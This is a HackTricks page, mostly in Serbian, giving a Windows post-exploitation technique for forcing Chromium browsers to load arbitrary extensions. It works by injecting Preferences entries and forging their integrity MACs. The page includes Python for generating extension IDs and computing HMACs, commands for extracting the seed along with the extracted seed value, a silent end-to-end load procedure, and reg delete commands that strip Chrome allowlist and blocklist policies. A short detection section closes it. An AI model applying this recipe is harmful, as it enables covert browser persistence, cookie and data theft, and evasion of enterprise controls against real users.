Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Diskretna post‑exploitation tehnika koja prisilno učitava proizvoljne ekstenzije u Chromium-based browserima na Windowsu tako što menja korisnikov Preferences/Secure Preferences i falsifikuje važeće HMAC-ove za izmenjene čvorove. Radi protiv Chrome/Chromium, Edge i Brave. Primećeno da važi za Chromium od 130 do 139 u vreme objave. Jednostavan disk write primitive u profilu žrtve dovoljan je da postojano instalira ekstenziju sa punim privilegijama bez command-line flagova ili korisničkih upita.
Ključna ideja: Chromium čuva po‑korisničko stanje ekstenzija u JSON Preferences fajlu i štiti ga HMAC-SHA256. Ako izračunate važeće MAC-ove koristeći ugrađeni seed pretraživača i zapišete ih pored svojih ubačenih čvorova, pretraživač prihvata i aktivira vaš unos ekstenzije.
Gde se nalazi stanje ekstenzije (Windows)
- Chrome profil koji nije povezan sa domenom:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (sadrži root "super_mac").
- Chrome profil povezan sa domenom:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Ključni čvorovi koje Chromium koristi:
- extensions.settings.<extension_id> → ugrađeni manifest/metapodaci za unos ekstenzije
- protection.macs.extensions.settings.<extension_id> → HMAC za taj JSON blob
- Chromium ≥134: extensions.ui.developer_mode (boolean) mora biti prisutan i potpisan MAC-om da bi nepakovane ekstenzije bile aktivirane
Pojednostavljena šema (ilustrativno):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Napomene:
- Edge/Brave održavaju slične strukture. Vrednost protection seed-a može da se razlikuje (primećeno je da Edge/Brave u nekim build-ovima koriste null ili drugi seed).
Extension IDs: path vs key and making them deterministic
Chromium izvodi ID ekstenzije na sledeći način:
- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
Da biste zadržali stabilan ID između hostova, ubacite fiksni base64 DER public key u manifest.json pod "key". ID će biti izveden iz tog ključa umesto iz instalacione putanje.
Pomoćni alat za generisanje determinističkog ID-a i para ključeva:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Dodajte generisani javni ključ u manifest.json da biste zaključali ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Falsifikovanje integriteta Preferences MACs (core bypass)
Chromium štiti preferences pomoću HMAC‑SHA256 nad "path" + serialized JSON value svakog čvora. HMAC seed je ugrađen u browser’s resources.pak i bio je važeći sve do Chromium 139.
Izvucite seed pomoću GRIT pak_util i locirajte kontejner za seed (file id 146 u testiranim buildovima):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Izračunajte MACs (uppercase hex) kao:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Minimalan Python primer:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Write the values under:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
Implementation tips
- Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
- Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
End‑to‑end silent load flow (Windows)
- Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
- Create extensions.settings.
by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.) - Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
- Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
- Install an allowed Web Store extension and note its ID
- Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
- Set that key as manifest.key in your modified extension to reproduce the same ID
- Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
-
Extension stomping (ID collision precedence)
-
If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Chrome/Edge policies live under HKCU\Software\Policies*
-
With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Bučan fallback: učitavanje iz komandne linije
Od Chromium ≥137, --load-extension zahteva takođe prosleđivanje:
--disable-features=DisableLoadExtensionCommandLineSwitch
Ovaj pristup je široko poznat i nadgledan (npr. od strane EDR/DFIR; koristi ga commodity malware kao Chromeloader). Preference MAC forging je prikriveniji.
Related flags and more cross‑platform tricks are discussed here:
Operativni uticaj
Kada se prihvati, ekstenzija se izvršava sa svojim deklarisanim dozvolama, omogućavajući pristup DOM, presretanje/preusmeravanje zahteva, pristup kolačićima/storage i hvatanje snimaka ekrana — efektivno izvršavanje koda u pretraživaču i trajna perzistencija u korisničkom profilu. Daljinska distribucija preko SMB ili drugih kanala je jednostavna jer je aktivacija vođena podacima preko Preferences.
Detekcija i pojačavanje bezbednosti
- Pratite non‑Chromium procese koji pišu u Preferences/Secure Preferences, posebno nove čvorove pod extensions.settings uparene sa protection.macs unosima
- Generišite upozorenje pri neočekivanom prebacivanju extensions.ui.developer_mode i na HMAC‑valid ali neodobrene unose ekstenzija
- Revidirajte HKCU/HKLM Software\Policies zbog manipulacija; sprovodite politike putem device management/Chrome Browser Cloud Management
- Prioritetno koristite forced‑install iz store sa verifikovanim publisherima umesto allowlist-a koji se podudaraju samo po extension ID
References
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks